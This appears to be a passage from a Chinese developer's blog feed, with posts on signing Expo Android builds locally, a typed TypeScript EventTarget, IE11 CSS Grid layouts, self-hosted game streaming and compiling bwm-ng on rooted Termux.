<p>（当然如果以上方面对你不是问题的话，eas 其实挺适合懒人在自己的电脑/基础设施上跑的，特别是你不在内地的电脑上进行开发时）</p>
<h3>需求</h3>
<ul>
<li>配好 JDK 和 Android SDK，并且指定好它们的 <code>PATH</code>、<code>JAVA_HOME</code> 和 <code>ANDROID_HOME</code>。<a href="https://docs.expo.dev/guides/local-app-development/">详见</a></li>
<li>项目启用 <a href="https://docs.expo.dev/workflow/prebuild/">Prebuild</a></li>
</ul>
<h3>配置 Keystore</h3>
<p>为了让编译出来的应用使用我们自己的 Keystore，我们需要修改 <code>android/app/build.gradle</code> 文件，在 <code>signingConfigs</code> 加入自己的 Keystore 信息，并且在 <code>buildTypes</code> 的 <code>release</code> 中设置 <code>signingConfig signingConfigs.release</code> 。</p>
<p>由于我们的项目使用 Expo Managed Workflow，为了确保 Native 部分不会出现不同步的问题，这里通过编写项目级插件的方式实现修改：</p>
<pre><code class="language-javascript">// plugins/withAndroidSignature.js

const { withAppBuildGradle } = require(&quot;@expo/config-plugins&quot;);
const fs = require(&quot;fs&quot;);
const path = require(&quot;path&quot;);

module.exports = function withAndroidSignature(config) {
  return withAppBuildGradle(config, config =&gt; {
    if (config.modResults.language === &quot;groovy&quot;) {
      config.modResults.contents = setAndroidSignature(config.modResults.contents);
    } else {
      throw new Error(&quot;如果不是 groovy，则无法在 app/build.gradle 中设置 signingConfigs&quot;);
    }
    return config;
  });
};

function setAndroidSignature(appBuildGradle) {
  if (!fs.existsSync(path.resolve(__dirname, &quot;../credentials.json&quot;))) {
    console.warn(&quot;警告：没有设置正式版本的 Android Keystore 文件，因为 credentials.json 不存在。&quot;);
    return appBuildGradle;
  }
  const info = JSON.parse(fs.readFileSync(path.resolve(__dirname, &quot;../credentials.json&quot;), { encoding: &quot;utf8&quot; }));

  // 使用正则表达式插入签名信息
  let output = appBuildGradle.replace(
    /(signingConfigs\s*\{)/,
    `$1
        release {
            storeFile file(${JSON.stringify(path.resolve(__dirname, &quot;../credentials/android-release.keystore&quot;))})
            storePassword ${JSON.stringify(info.android.keystore.keystorePassword)}
            keyAlias ${JSON.stringify(info.android.keystore.keyAlias)}
            keyPassword ${JSON.stringify(info.android.keystore.keyPassword)}
        }`,
  );

  // 使用正则表达式替换 signingConfig
  output = output.replace(
    /(release\s*\{)[^}]*?signingConfig\s+signingConfigs\.debug/s,
    `$1
            signingConfig signingConfigs.release
`,
  );

  return output;
}
</code></pre>
<p>为了方便维护，我们将 Keystore 的本体放在项目根目录下 <code>credentials/android-release.keystore</code> ，而 Keystore 的信息放在 <code>credentials.json</code> 里。</p>
<p>（这里的 <code>credentials.json</code> 文件格式与 Expo 文档中的 <a href="https://docs.expo.dev/app-signing/local-credentials/">Use local credentials</a> 一致）</p>
<pre><code class="language-json">{
  &quot;android&quot;: {
    &quot;keystore&quot;: {
      &quot;keystorePath&quot;: &quot;credentials/android-release.keystore&quot;,
      &quot;keystorePassword&quot;: &quot;your keystore password&quot;,
      &quot;keyAlias&quot;: &quot;your key alias&quot;,
      &quot;keyPassword&quot;: &quot;your key password&quot;
    }
  },
  &quot;ios&quot;: {
    &quot;provisioningProfilePath&quot;: &quot;ios/certs/profile.mobileprovision&quot;,
    &quot;distributionCertificate&quot;: {
      &quot;path&quot;: &quot;ios/certs/dist-cert.p12&quot;,
      &quot;password&quot;: &quot;password&quot;
    }
  }
}
</code></pre>
<p>然后，在 <code>app.json</code> 中指定这个项目级插件：</p>
<pre><code class="language-json">{
  &quot;expo&quot;: {
    &quot;plugins&quot;: [&quot;./plugins/withAndroidSignature&quot;]
  }
}
</code></pre>
<h3>编译</h3>
<p>首先，我们需要执行一次 <code>npx expo prebuild</code>，让它生成 <code>android</code> 文件夹。这个文件夹包含了我们项目的 Native 部分。</p>
<p>打包给 Google Play 商店用的 <code>.aab</code> 文件：</p>
<pre><code class="language-bash">cd android
./gradlew bundleRelease
</code></pre>
<p>你的编译产物会出现在项目根目录下 <code>android/app/build/outputs/bundle/release/app-release.aab</code> 。</p>
<p>而如果是给别人直接安装的 <code>.apk</code> 文件：</p>
<pre><code class="language-bash">cd android
./gradlew assembleRelease
</code></pre>
<p>你的编译产物会出现在项目根目录下 <code>android/app/build/outputs/apk/release/app-release.apk</code> 。</p>
<p>如果在 Windows 下编译，需要把 <code>./gradlew</code> 改成 <code>./gradlew.bat</code>。</p>
<h3>还有一些东西……</h3>
<p>为了简化上述的操作，我推荐在 <code>package.json</code> 中设置好相应的脚本。</p>
<pre><code class="language-json">{
  &quot;scripts&quot;: {
    &quot;prepare&quot;: &quot;pnpm run clean &amp;&amp; expo prebuild&quot;,
    &quot;build:android&quot;: &quot;cd android &amp;&amp; ./gradlew assembleRelease&quot;,
    &quot;clean&quot;: &quot;node -e \&quot;const opt = { recursive: true, force: true }; fs.rmSync(&#39;./ios&#39;, opt); fs.rmSync(&#39;./android&#39;, opt)\&quot;&quot;
  }
}
</code></pre>
<p>另外，不要忘了把这些东西加到你的 <code>.gitignore</code> 里：</p>
<pre><code class="language-text">/credentials/*.keystore
/credentials.json

/ios
/android
</code></pre>
<hr>
<p>这篇博文受到了上面那个「eas-cli 不能在 Windows 跑」的 Issue 中 <a href="https://github.com/expo/eas-cli/issues/1726#issuecomment-2125696207">这篇回复</a> 的启发，我对于其中的操作流程进行了一些改进，让它更适合 Expo Managed Workflow。</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/DMzFg7g6gb0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[【更正版】简单实现类型安全的、能触发 CustomEvent 的 EventTarget]]></title>
        <id>https://www.tcdw.net/post/typescript-eventtarget-easy-way/</id>
        <link href="https://www.tcdw.net/post/typescript-eventtarget-easy-way/"/>
        <updated>2024-03-31T15:59:24.000Z</updated>
        <summary type="html"><![CDATA[我想写一个 TypeScript 类，这个类提供一系列的事件可供监听。为了实现类型安全，改进开发体验，我自己研究了一下，实现了一个可以以泛型输入所有可能的事件类型的 TypedEventTarget 类。]]></summary>
        <content type="html"><![CDATA[<p>我想写一个 TypeScript 类，这个类提供一系列的事件可供监听。为了实现类型安全，改进开发体验，我自己研究了一下，实现了一个可以以泛型输入所有可能的事件类型的 TypedEventTarget 类。</p>
<p>经过 JackWorks 的指正，代码改成了这样。</p>
<p><code>typed-event-target.d.ts</code> 文件内容：</p>
<pre><code class="language-typescript">export class TypedEventTarget&lt;T&gt; extends EventTarget {
  // 这个类型体操是我从 `lib.dom.d.ts` 抄的我会乱说（
  addEventListener&lt;K extends keyof T&gt;(
    type: K,
    listener: (this: TypedEventTarget&lt;T&gt;, ev: TypedCustomEvent&lt;K, T[K]&gt;) =&gt; any,
    options?: boolean | AddEventListenerOptions,
  ): void;
  addEventListener(
    type: string,
    listener: EventListenerOrEventListenerObject,
    options?: boolean | AddEventListenerOptions,
  ): void;
  removeEventListener&lt;K extends keyof T&gt;(
    type: K,
    listener: (this: TypedEventTarget&lt;T&gt;, ev: TypedCustomEvent&lt;K, T[K]&gt;) =&gt; any,
    options?: boolean | EventListenerOptions,
  ): void;
  removeEventListener(
    type: string,
    listener: EventListenerOrEventListenerObject,
    options?: boolean | EventListenerOptions,
  ): void;
  dispatchEvent&lt;K extends keyof T&gt;(event: TypedCustomEvent&lt;K, T[K]&gt;): void;
}

export class TypedCustomEvent&lt;S, T&gt; extends CustomEvent&lt;T&gt; {
  constructor(type: S, eventInitDict?: CustomEventInit&lt;T&gt; | undefined);
}
</code></pre>
<p><code>typed-event-target.js</code> 文件内容：</p>
<pre><code class="language-javascript">// 这里我们小小的欺骗了一下 tsc。
// 在运行时下，这个 EventTarget 其实就是原来的 EventTarget，
// 而非从 EventTarget 继承出来的类。这样可以避免非必要的性能开销。
export const TypedEventTarget = EventTarget;
export const TypedCustomEvent = CustomEvent;
</code></pre>
<p>将这两个文件同时放在一个合适的目录下，就搞定了！</p>
<h2>使用方法</h2>
<p>我们想要写一个 <code>Person</code> 类，这个类有 <code>nameChange</code> 和 <code>ageChange</code> 这两个自定义事件。那么，我们可以这么写：</p>
<pre><code class="language-typescript">import { TypedEventTarget, TypedCustomEvent } from &quot;@/utils/typed-event-target&quot;; // 请根据项目实际情况修改路径

// 创建 Person 类的事件表
export interface PersonEventMap {
  nameChange: string;
  ageChange: number;
}

export default class Person extends TypedEventTarget&lt;PersonEventMap&gt; {
  name: string;
  age: number;

  constructor(name: string, age: number) {
    super();
    this.name = name;
    this.age = age;
  }

  setName(name: string) {
    this.name = name;
    // 在使用 dispatchEvent 时，如果类型不正确，会出现错误
    this.dispatchEvent&lt;&quot;nameChange&quot;&gt;(
      new CustomEvent(&quot;nameChange&quot;, {
        detail: name,
      }),
    );
  }

  setAge(age: number) {
    this.age = age;
    this.dispatchEvent&lt;&quot;ageChange&quot;&gt;(
      new CustomEvent(&quot;ageChange&quot;, {
        detail: age,
      }),
    );
  }
}
</code></pre>
<p>调用这个类时，我们绑定事件也会有正确的补全提示和类型检查。</p>
<details><summary>本博文的上一个版本</summary>

<p>我想写一个 TypeScript 类，这个类提供一系列的事件可供监听。为了实现类型安全，改进开发体验，我自己研究了一下，实现了一个可以以泛型输入所有可能的事件类型的 TypedEventTarget 类。</p>

<p>废话不多说，直接上代码。</p>
<p><code>typed-event-target.d.ts</code> 文件内容：</p>
<pre><code class="language-typescript">export default class TypedEventTarget&lt;T&gt; extends EventTarget {
    // 这个类型体操是我从 `lib.dom.d.ts` 抄的我会乱说（
    addEventListener&lt;K extends keyof T&gt;(
        type: K,
        listener: (this: TypedEventTarget, ev: T[K]) =&gt; any,
        options?: boolean | AddEventListenerOptions,
    ): void;
    addEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | AddEventListenerOptions,
    ): void;
    removeEventListener&lt;K extends keyof T&gt;(
        type: K,
        listener: (this: TypedEventTarget, ev: T[K]) =&gt; any,
        options?: boolean | EventListenerOptions,
    ): void;
    removeEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | EventListenerOptions,
    ): void;
    dispatchEvent&lt;K extends keyof T&gt;(event: T[K]): void;
}
</code></pre>
<p><code>typed-event-target.js</code> 文件内容：</p>
<pre><code class="language-javascript">// 这里我们小小的欺骗了一下 tsc。
// 在运行时下，这个 EventTarget 其实就是原来的 EventTarget，
// 而非从 EventTarget 继承出来的类。这样可以避免非必要的性能开销。
export default EventTarget;
</code></pre>
<p>将这两个文件同时放在一个合适的目录下，就搞定了！</p>
<h2 id="使用方法-1">使用方法</h2>
<p>我们想要写一个 <code>Person</code> 类，这个类有 <code>nameChange</code> 和 <code>ageChange</code> 这两个自定义事件。那么，我们可以这么写：</p>
<pre><code class="language-typescript">import TypedEventTarget from "@/utils/typed-event-target"; // 请根据项目实际情况修改路径

<p>// 创建 Person 类的事件表
export interface PersonEventMap {
nameChange: CustomEvent&lt;string&gt;;
ageChange: CustomEvent&lt;number&gt;;
}</p>
<p>export default class Person extends TypedEventTarget&lt;PersonEventMap&gt; {
name: string;
age: number;</p>
<pre><code>constructor(name: string, age: number) {
    super();
    this.name = name;
    this.age = age;
}

setName(name: string) {
    this.name = name;
    // 在使用 dispatchEvent 时，如果类型不正确，会出现错误
    this.dispatchEvent&amp;lt;&quot;nameChange&quot;&amp;gt;(
        new CustomEvent(&quot;nameChange&quot;, {
            detail: name,
        }),
    );
}

setAge(age: number) {
    this.age = age;
    this.dispatchEvent&amp;lt;&quot;ageChange&quot;&amp;gt;(
        new CustomEvent(&quot;ageChange&quot;, {
            detail: age,
        }),
    );
}
</code></pre>
<p>}
</code></pre></p>
<p>调用这个类时，我们绑定事件也会有正确的补全提示和类型检查：</p>
<figure>
  <img src="https://file.tcdw.net/blog-res/2024/type-hint-1.webp" alt="类型提示">
    <figcaption>在调用 addEventListener 事件时，会提供准确的名称提示。</figcaption>
</figure>

<figure>
  <img src="https://file.tcdw.net/blog-res/2024/type-hint-2.webp" alt="类型提示">
    <figcaption>调用事件的详情内容时，推导出来的类型也是准确的。</figcaption>
</figure></details>

<iframe width="560" height="315" src="https://www.youtube.com/embed/3TYDBtJBxRw?si=waQibB33GtJKhC8n" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 IE11 使用 CSS Grid 实现多列卡片列表布局]]></title>
        <id>https://www.tcdw.net/post/ie11-css-grid/</id>
        <link href="https://www.tcdw.net/post/ie11-css-grid/"/>
        <updated>2024-03-03T11:59:01.000Z</updated>
        <summary type="html"><![CDATA[我们维护的某网站需要多列布局的、分页的、内容高度不固定的卡片列表，效果如下：]]></summary>
        <content type="html"><![CDATA[<p>我们维护的某网站需要多列布局的、分页的、<strong>内容高度不固定</strong>的卡片列表，效果如下：</p>
<figure>
  <img
    src="https://file.tcdw.net/blog-res/2024/grid-blog-example.webp"
    alt="网格"
  />
	<figcaption>网格布局的效果。它们的内容高度均不一致，但是在网格中必须做到视觉高度一致。卡片本身的代码是从 <a href="https://adamwathan.me/css-utility-classes-and-separation-of-concerns/">Adam Wathan 的传教博文</a> 抄的，感激不尽（</figcaption>
</figure>

<p>实现这种网格列表，其实使用 CSS Grid 是最为科学的方案，因为它灵活、好用、易于理解，同时对于这种内容不定高的多列卡片列表非常友好：</p>
<pre><code class="language-css">.grid-list {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 20px;
}
</code></pre>
<p>但是有一个棘手的问题是：这个网站的浏览器兼容性要求是 Chrome 60+ 和 <strong>IE11</strong>。没错，都 2022 年了，还有苦逼开发者（比如我）还需要想办法让网站能在 IE11 正常工作。</p>
<p>不过幸运的是，通过对 CSS Grid <a href="https://caniuse.com/css-grid">兼容性</a> 的查询，我们可以得知：</p>
<ul>
<li>IE10+ 支持<a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">旧版的规范</a>，且需要添加 <code>-ms-</code> 的前缀</li>
<li>Chrome 57+ 开箱支持</li>
</ul>
<p><a href="https://dev.to/tylerthehaas/using-css-grid-in-ie11-4h4c">根据前辈的指引</a>，我意识到在 IE11 中用 CSS Grid 实现这种网格列表是完全没问题的，只是需要一些技巧。</p>
<p>我们的项目使用到了 SCSS、PostCSS 和 Autoprefixer，所以，首先在 <code>postcss.config.js</code> 中声明使用针对 IE11 的 CSS Grid 转译：</p>
<pre><code class="language-javascript">module.exports = {
  plugins: {
    autoprefixer: {
      grid: &quot;autoplace&quot;,
    },
  },
};
</code></pre>
<p>然后，把这个 mixin 丢进项目中：</p>
<pre><code class="language-scss">@mixin gridList($maxRow, $column, $rowSize: auto, $columnSize: 1fr, $gapX: 0, $gapY: 0) {
  @for $i from 1 through $maxRow {
    &amp;--grid-#{$i} {
      display: grid;
      grid-template-columns: repeat(#{$column}, #{$columnSize});
      grid-template-rows: repeat(#{$i}, #{$rowSize});
      gap: $gapY $gapX;
    }
  }
}
</code></pre>
<p>然后在需要的地方使用这个 mixin（假设我们的网格列表一页最多有 9 项，每列有 3 项，即最多会有 3 行）：</p>
<pre><code class="language-scss">.grid-list {
  padding: 30px;
  @include gridList(3, 3, $gapX: 30px, $gapY: 30px);
}
</code></pre>
<p>嗯，那么这个 mixin 是干什么的呢？</p>
<p>我们前面提到了 IE11 支持旧版的 CSS Grid 规范，而在该版本的规范中，<strong>必须显式声明你会用到的行数和列数</strong>；而且它并不支持 <code>gap</code> 属性。</p>
<p>那么，对于需要显式声明行数和列数的问题，我们可以换一个思路：借助 SCSS 函数的力量，把<strong>所有可能的</strong>卡片列数的 CSS 都生成出来；然后在 HTML 部分，由模板渲染器告诉页面一共有多少行。</p>
<p>以下是 mixin 生成的代码：</p>
<pre><code class="language-css">.demo-list {
  padding: 30px;
}

.demo-list--grid-1 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(1, auto);
  gap: 30px 30px;
}

.demo-list--grid-2 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(2, auto);
  gap: 30px 30px;
}

.demo-list--grid-3 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(3, auto);
  gap: 30px 30px;
}
</code></pre>
<p>这样，我们就得到了行数有一行、两行和三行时所对应的 CSS 类。我们只要在生成模板时，使用对应的 CSS 类即可：</p>
<pre><code class="language-html">&lt;!-- 以下伪代码仅供参考，实际使用时请替换为你使用的模板引擎/界面库的语法 --&gt;
&lt;ul class=&quot;demo-list demo-list--grid-{{ Math.ceil(Page.PageList.length / 3) }}&quot;&gt;
  {%- for PageItem in Page.PageList -%}
  &lt;li class=&quot;demo-card&quot;&gt;
    &lt;!-- 略 --&gt;
  &lt;/li&gt;
  {%- endfor -%}
&lt;/ul&gt;
</code></pre>
<p>IE 使用的旧版规范属性是以 <code>-ms-</code> 开头的，同时我们还需要通过空白的网格来模拟 <code>gap</code> 属性。不过，Autoprefixer 可以帮我们进行转译：</p>
<pre><code class="language-css">.demo-list {
  padding: 30px;
}

.demo-list--grid-1 {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr 30px 1fr 30px 1fr;
  grid-template-columns: repeat(3, 1fr);
  -ms-grid-rows: auto;
  grid-template-rows: repeat(1, auto);
  gap: 30px 30px;
}

.demo-list--grid-1 &gt; *:nth-child(1) {
  -ms-grid-row: 1;
  -ms-grid-column: 1;
}

.demo-list--grid-1 &gt; *:nth-child(2) {
  -ms-grid-row: 1;
  -ms-grid-column: 3;
}

.demo-list--grid-1 &gt; *:nth-child(3) {
  -ms-grid-row: 1;
  -ms-grid-column: 5;
}

.demo-list--grid-2 {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr 30px 1fr 30px 1fr;
  grid-template-columns: repeat(3, 1fr);
  -ms-grid-rows: auto 30px auto;
  grid-template-rows: repeat(2, auto);
  gap: 30px 30px;
}

.demo-list--grid-2 &gt; *:nth-child(1) {
  -ms-grid-row: 1;
  -ms-grid-column: 1;
}

.demo-list--grid-2 &gt; *:nth-child(2) {
  -ms-grid-row: 1;
  -ms-grid-column: 3;
}

.demo-list--grid-2 &gt; *:nth-child(3) {
  -ms-grid-row: 1;
  -ms-grid-column: 5;
}

.demo-list--grid-2 &gt; *:nth-child(4) {
  -ms-grid-row: 3;
  -ms-grid-column: 1;
}

.demo-list--grid-2 &gt; *:nth-child(5) {
  -ms-grid-row: 3;
  -ms-grid-column: 3;
}

.demo-list--grid-2 &gt; *:nth-child(6) {
  -ms-grid-row: 3;
  -ms-grid-column: 5;
}

/* 后略... you get the idea */
</code></pre>
<h3>结论</h3>
<p>经过一系列的努力，我们终于拥有了在 IE11 正确显示的多列卡片列表。好耶！</p>
<p>尽管业界正积极淘汰 IE11，但现实情况是，还有一些商业应用仍然有着对 IE11 的兼容需求。确实，兼容老旧浏览器是一个让人头疼的问题，然而通过变换思路，我们可以找到一些取巧的解决方案。</p>
<p>当然更好的方法是，提桶跑路，去给历史包袱不重的项目填坑（逃</p>
<h3>后记</h3>
<p>这篇博文本来是一篇在 2022 年私下写的笔记，因为一开始只是写给我自己看的，加上我想应该需要支持 IE11 的项目越来越少，一直没有发布。</p>
<p>但是现实总是骨感的，就连不久前发布了 4.0.0 BETA 的 jQuery 团队 <a href="https://blog.jquery.com/2024/02/06/jquery-4-0-0-beta/">都说要继续支持 IE11</a>，直到 jQuery 5 再放弃支持。所以这篇博文大概还是能发挥余热吧。</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/93okxqmlPOU?si=hbleWMYKJhJMcQKw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[自建云游戏服务的尝试（2024 更新）]]></title>
        <id>https://www.tcdw.net/post/attempt-to-play-genshin-impact-outside-home/</id>
        <link href="https://www.tcdw.net/post/attempt-to-play-genshin-impact-outside-home/"/>
        <updated>2024-02-21T15:46:46.000Z</updated>
        <summary type="html"><![CDATA[为什么？]]></summary>
        <content type="html"><![CDATA[<h2>为什么？</h2>
<p>我最近经常玩《原神》，但是我：</p>
<ul>
<li>只有一台能带动这游戏的远程工作站，我还很难物理访问它</li>
<li>平时在外面只能使用弱鸡的旧款 MacBook Pro</li>
<li>用 iPhone 12 Pro 玩，感觉体验堪忧</li>
</ul>
<p>显然，再为这么一款游戏而专门购买游戏本是不划算的，而且游戏本有着笨重、噪音大、外观普遍中二感爆棚、<strong>电池续航几乎不存在</strong>等缺点。</p>
<p>考虑到近年来 <a href="https://stadia.google.com/">Stadia</a>、<a href="https://www.nvidia.com/en-us/geforce-now/">GeForce Now</a> 等云游戏服务在国外的兴起，我有了新的主意：拿自己的远程工作站搭建云游戏服务。</p>
<p>本博文不是真正意义上的教程，但是记录了我对若干方案的尝试和使用体验。</p>
<h2>环境</h2>
<ul>
<li>~~服务端（工作站）和客户端都在重重 NAT 之下。~~现在不是问题了，家里和移动网络<strong>都有公网 IPv6</strong>，可以点对点直连。同样我也不再推荐直接 ECS 当跳板、承载游戏流量的方案了，因为流量费是真的奢侈啊 TAT</li>
<li>有一台阿里云 ECS 做跳板机，安装有：<ul>
<li>Wireguard（用于和不同的远程设备连接）</li>
<li>nginx（通过 stream 模块向公网转发端口）</li>
</ul>
</li>
</ul>
<h2>RDP</h2>
<p>在此之前，我经常会使用 RDP 来连接我的远程工作站。启动 RDP 服务不需要复杂的服务端设置，在网关机上也只要简单转发一个端口到公网即可。</p>
<p>其实 RDP 对于一般的应用程序是没有问题的，但是完全不适合打游戏：</p>
<ul>
<li>图形渲染过程是交给客户端完成的</li>
<li><a href="https://superuser.com/questions/849918/erratic-mouse-movement-in-3d-games-over-rdp-with-remotefx">鼠标工作不正常</a></li>
</ul>
<h2>Moonlight + Sunshine</h2>
<p>我的工作站配备有 GTX 1650 Super，因此可以借助 GeForce Experience 的游戏<ruby>串流<rp>(</rp><rt>Streaming</rt><rp>)</rp></ruby>功能和 <a href="https://moonlight-stream.org/">Moonlight</a> 客户端，轻松搭建自己的云游戏服务。</p>
<p>总体来说，在有合适的网络条件下，Moonlight 可以提供足够好的游戏体验。但是使用官方的 GeForce Experience 时，会有一些蛋疼的问题：</p>
<ul>
<li>配对时必须<strong>在远程主机上</strong>输入四位数字确认</li>
<li>一旦连接过 RDP（因为我平时还要工作！），串流服务就会停止工作<ul>
<li>所以，上述的配对过程也不能在 RDP 进行，必须使用其它的远程桌面服务（如 Teamviewer）；<br>同时，每次连接过 RDP，都需要用 Teamviewer 再连接一次。</li>
</ul>
</li>
</ul>
<p>不过幸运的是，现在有 <a href="https://github.com/LizardByte/Sunshine">Sunshine</a> 了。Sunshine 是一个兼容 Moonlight 的游戏串流服务端，支持带有视频硬件编码功能的 AMD、Intel 和 Nvidia 显卡，而且完美解决了上述的配对麻烦（用 Web GUI 就可以配对）、RDP 导致服务端罢工的问题。</p>
<p>对了，如果你在 Xiaomi HyperOS 设备上使用 Moonlight for Android，需要呼出虚拟键盘，得同时用三指按动屏幕，**而且每根手指距离要有大约 2cm 以上。**别问我是怎么知道的（躺</p>
<h2>Parsec</h2>
<p><a href="https://parsec.app/">Parsec</a> 是一款与 Moonlight 类似的应用，但是对非技术导向的用户更加友好，而且解决了 Moonlight + Sunshine 的一些痛点：</p>
<ul>
<li>验证是基于他们自家帐号系统的（比在远程主机确认配对方便多了！）</li>
<li>连完 RDP 以后可以直接连接</li>
<li>灵活的连接方式，可以自动视情况通过局域网、NAT 打洞、Wireguard 等方式连接到服务端</li>
<li>支持 AMD 和 Intel 显卡（虽然我现在用的是 Nvidia 显卡）</li>
</ul>
<p>不过，Parsec 也有一些缺点：</p>
<ul>
<li>你只能使用 Parsec 他们家的帐号系统，而且他们的客户端比较黑箱。我不是很在乎就是了……</li>
<li>视频质量并不算很好，就算你在 GUI 把码率开到最大也无济于事。不过，<a href="https://mozz.ie/posts/ultimate-virtual-monitor-solution-indirect-display/">蚊子写过一篇博文</a>，提到手动在配置文件中加上 <code>encoder_min_bitrate = 50</code> 就可以改善</li>
<li>Android 客户端不算那么好用，而且不支持手柄振动，也不支持将触摸屏当作笔记本触摸板使用。</li>
</ul>
<h2>让 GPU 一直工作</h2>
<p>我在淘宝上随便买了个 HDMI 锁屏宝，解决了这个问题。但是不要买的太随便，因为如果锁屏宝模拟的显示器分辨率和刷新率不够高，那么想要更好的串流分辨率和帧率是没门的。</p>
<p>不过，也可以试试蚊子提到的 <a href="https://mozz.ie/posts/ultimate-virtual-monitor-solution-indirect-display/">虚拟显示器</a>。</p>
<h2>对比</h2>
<p>总之，不同的连接方案有着它们的优缺点，所以还得视场合选择使用哪种方式连接到我的工作站。</p>
<table>
<thead>
<tr>
<th>服务/特性</th>
<th align="center">RDP</th>
<th align="center">Moonlight + Sunshine</th>
<th align="center">Parsec</th>
</tr>
</thead>
<tbody><tr>
<td>支持显卡</td>
<td align="center">N/A</td>
<td align="center">各种</td>
<td align="center">各种</td>
</tr>
<tr>
<td>配置难度</td>
<td align="center">低</td>
<td align="center">中等</td>
<td align="center">低</td>
</tr>
<tr>
<td>首次连接</td>
<td align="center">输入本机登录信息</td>
<td align="center">在服务端完成配对操作</td>
<td align="center">输入 Parsec 登录信息</td>
</tr>
<tr>
<td>流量消耗</td>
<td align="center">低</td>
<td align="center">较高</td>
<td align="center">中等</td>
</tr>
<tr>
<td>图形渲染位置</td>
<td align="center">客户端</td>
<td align="center">服务端</td>
<td align="center">服务端</td>
</tr>
<tr>
<td>针对游戏优化</td>
<td align="center">否</td>
<td align="center">是</td>
<td align="center">是</td>
</tr>
<tr>
<td>使用 RDP 后再连接</td>
<td align="center">N/A</td>
<td align="center">可直接连接</td>
<td align="center">可直接连接</td>
</tr>
<tr>
<td>自动打洞</td>
<td align="center">无</td>
<td align="center">无</td>
<td align="center">有</td>
</tr>
<tr>
<td>剪贴板共享</td>
<td align="center">有</td>
<td align="center">无</td>
<td align="center">有（仅限文本）</td>
</tr>
<tr>
<td>开源软件</td>
<td align="center">否</td>
<td align="center">客户端/服务端均开源</td>
<td align="center">否</td>
</tr>
</tbody></table>
<h2>自建云游戏服务的优越性</h2>
<p>就是可以玩<strong>各种自己喜欢的游戏</strong>啦，而不只局限于云游戏厂商提供的可玩游戏。</p>
<p>不过，如果你没有长期使用 Windows 远程桌面的需求，而且只想玩一些大众游戏，那么类似于 <a href="https://cg.163.com/">网易云游戏平台</a>、<a href="https://start.qq.com/">腾讯云游戏</a> 等服务都是可以考虑的。</p>
<p>Update: 如果你是原神国服玩家，还可以考虑一下官方的<strong>云・原神</strong>。</p>
<h2>流量费</h2>
<p><del>别人花 648 抽优菈，我花 648 让游戏跑起来（笑</del></p>
<p>不过现在四大运营商都推出了便宜到爆炸、而且每月流量至少有 100G 的 5G 流量卡（不是物联网卡），同时通过与家里进行点对点连接，现在出门在外都可以省掉不少流量费了。</p>
<p>然后我靠着免费的原石抽到了她（</p>
<p><img src="https://file.tcdw.net/blog/post/0ec36dee-1df2-4e47-a2ad-f7930af5473e/AJCKZ1Urns7fEvD.png" alt="优菈"></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 Termux 编译和使用 bwm-ng（需要 root）]]></title>
        <id>https://www.tcdw.net/post/use-bwm-ng-on-android-termux/</id>
        <link href="https://www.tcdw.net/post/use-bwm-ng-on-android-termux/"/>
        <updated>2023-05-05T17:26:55.000Z</updated>
        <summary type="html"><![CDATA[bwm-ng 是一个很方便的命令行工具，可以实时监控操作系统的网速和磁盘读写速度。]]></summary>
        <content type="html"><![CDATA[<p><a href="https://github.com/vgropp/bwm-ng">bwm-ng</a> 是一个很方便的命令行工具，可以实时监控操作系统的网速和磁盘读写速度。</p>
<p>我想在 Termux 使用它，但是目前 Termux 的软件源还没有，所以就只能自己编译安装了。</p>
<h2>步骤</h2>
<p>首先，准备好安装了 Termux，且已经 root 的 Android 手机。</p>
<p>然后，我们需要给 Termux 安装 <code>root-repo</code>，再安装 <code>sudo</code>：</p>
<pre><code class="language-bash">pkg install root-repo
pkg install sudo
</code></pre>
<p>安装 Git 和构建工具集：</p>
<pre><code class="language-bash">pkg install git build-essential
</code></pre>
<p>接下来，就可以进行编译安装了，但是跟一般的编译安装有点区别：</p>
<pre><code class="language-bash">git clone https://github.com/vgropp/bwm-ng
cd bwm-ng
sudo ./autogen.sh
sudo make
</code></pre>
<p>在这里，<code>./autogen.sh</code> 和 <code>make</code> 命令的前面都增加了 <code>sudo</code>，这是为了让编译脚本能够正确识别到 <code>/proc/</code> 下的特殊文件（在 Android 下，该目录只能由 <code>root</code> 用户访问）。如果不使用 <code>sudo</code>，会看到这样的报错：</p>
<pre><code class="language-text">checking for /proc/net/dev... no
checking for /proc/diskstats... no
checking for /proc/partitions... no
checking for sys/dkstat.h... no
checking whether cc and linker accepts -framework IOKit -framework CoreFoundation... no
checking for sg_get_network_io_stats,sg_get_disk_io_stats in -lstatgrab... no
configure: error: &quot;NO INPUT FOUND&quot;
</code></pre>
<p>编译完成后，将 <code>src</code> 目录下的 <code>bwm-ng</code> 二进制文件移动到合适的位置（一般在 <code>$PATH</code> 中指定过的路径），使用 <code>sudo bwm-ng</code> 就可以使用了。</p>
